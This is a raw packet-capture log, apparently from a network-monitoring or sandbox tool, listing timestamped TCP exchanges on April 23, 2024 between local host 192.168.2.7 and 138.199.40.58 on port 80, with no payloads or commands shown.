Apr 23, 2024 08:39:59.062566996 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.062587976 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.062608004 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.062617064 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.062635899 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.062658072 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.062678099 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.062706947 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.062726021 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.062746048 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.062764883 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.062787056 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.062799931 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.062808037 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.062813044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.062824011 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.062841892 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.062864065 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.062864065 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.062927961 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.062949896 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.062951088 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.062969923 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.062973022 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.062997103 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.063062906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.063081980 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.063124895 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.063127995 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.063142061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.063157082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.063179016 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.063201904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.063215017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.063215971 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.063227892 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.063251019 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.063288927 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.063318968 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.063342094 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.063342094 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.063342094 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.063357115 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.063378096 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.063380957 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.063396931 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.063402891 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.063409090 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.063420057 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.063421965 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.063435078 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.063442945 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.063442945 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.063477993 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.063502073 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.063517094 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.063530922 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.063549042 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.063555956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.063576937 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.063602924 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.063607931 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.063643932 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.063690901 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.063704014 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.063714981 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.063735008 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.063745022 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.063765049 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.063798904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.063803911 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.063812017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.063832998 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.063838005 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.063857079 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.063873053 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.063894033 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.063925982 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.063947916 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.063949108 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.063968897 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.064024925 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.064040899 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.064047098 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.064078093 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.064078093 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.064117908 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.064158916 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.064196110 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.064208984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.064214945 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.064220905 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.064244986 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.064266920 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.064290047 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.064291954 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.064304113 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.064311981 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.064316988 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.064325094 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.064341068 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.064352989 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.064352989 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.064363956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.064378023 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.064384937 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.064399958 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.064403057 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.064424992 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.064446926 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.064472914 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.064486980 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.064495087 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.064507008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.064519882 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.064532042 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.064567089 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.064579010 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.064588070 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.064618111 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.064630985 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.064630985 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.064645052 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.064666986 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.064682007 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.064691067 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.064693928 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.064701080 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.064706087 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.064714909 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.064739943 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.064788103 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.064788103 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.064811945 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.064867973 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.064888000 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.064903021 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.064935923 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.064935923 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.064950943 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.064965010 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.064987898 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.064991951 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.065016985 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.065017939 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.065031052 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.065053940 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.065108061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.065154076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.065166950 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.065186977 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.065202951 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.065202951 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.065285921 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.065299034 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.065305948 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.065318108 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.065373898 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.065393925 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.065454006 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.065468073 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.065474033 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.065479040 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.065484047 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.065493107 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.065500021 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.065536976 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.065537930 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.065537930 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.065550089 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.065562963 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.065582991 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.065584898 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.065604925 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.065609932 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.065632105 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.065707922 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.065727949 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.065808058 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.065820932 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.065829039 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.065844059 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.065849066 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.065867901 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.065886974 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.065908909 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.065912008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.065929890 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.065948963 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.065968037 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.066242933 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.066262960 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.066283941 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.066297054 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.066303015 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.066315889 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.066343069 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.066356897 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.066361904 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.066375971 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.066381931 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.066395044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.066401958 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.066415071 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.066417933 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.066437960 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.066474915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.066497087 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.066557884 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.066576958 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.066612005 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.066632986 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.066654921 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.066673994 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.066741943 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.066759109 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.066765070 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.066771984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.066783905 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.066790104 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.066796064 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.066807985 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.066814899 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.066822052 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.066829920 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.066833973 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.066845894 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.066863060 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.066869974 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.066890001 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.066925049 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.066945076 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.067001104 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.067013979 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.067020893 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.067034960 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.067121983 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.098618984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.098684072 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.098731995 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.098740101 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.098788023 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.098815918 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.098834991 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.098850965 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.098858118 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.098862886 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.098876953 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.098902941 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.098917007 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.098917007 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.098947048 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.098961115 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.098970890 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.098984003 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.098997116 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.099000931 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.099014044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.099033117 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.099049091 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.099061012 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.099100113 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.099129915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.099149942 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.099149942 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.099179029 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.099200010 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.099237919 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.099253893 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.099261045 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.099306107 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.099492073 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.099507093 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.099550962 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.099562883 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.099579096 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.099601030 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.099617004 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.099637032 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.099642038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.099658012 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.099663019 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.099673986 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.099693060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.099703074 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.099716902 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.099735975 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.099788904 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.099797010 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.099822998 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.099843979 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.099853992 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.099893093 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.099893093 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.100064993 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.100083113 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.100138903 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.100163937 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.100193024 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.100241899 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.100250006 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.101058006 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.101073027 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.101120949 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.101121902 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.101120949 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.101146936 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.101186037 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.101186037 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.101200104 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.101212025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.101248026 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.101249933 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.101249933 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.101355076 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.101418018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.101468086 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.101491928 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.101577997 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.101619005 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.101654053 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.101667881 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.101681948 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.101703882 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.101730108 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.101757050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.101820946 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.102396011 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.102432966 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.102440119 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.102447033 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.102483988 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.102489948 CEST	49705	80	192.168.2.7	138.199.40.58
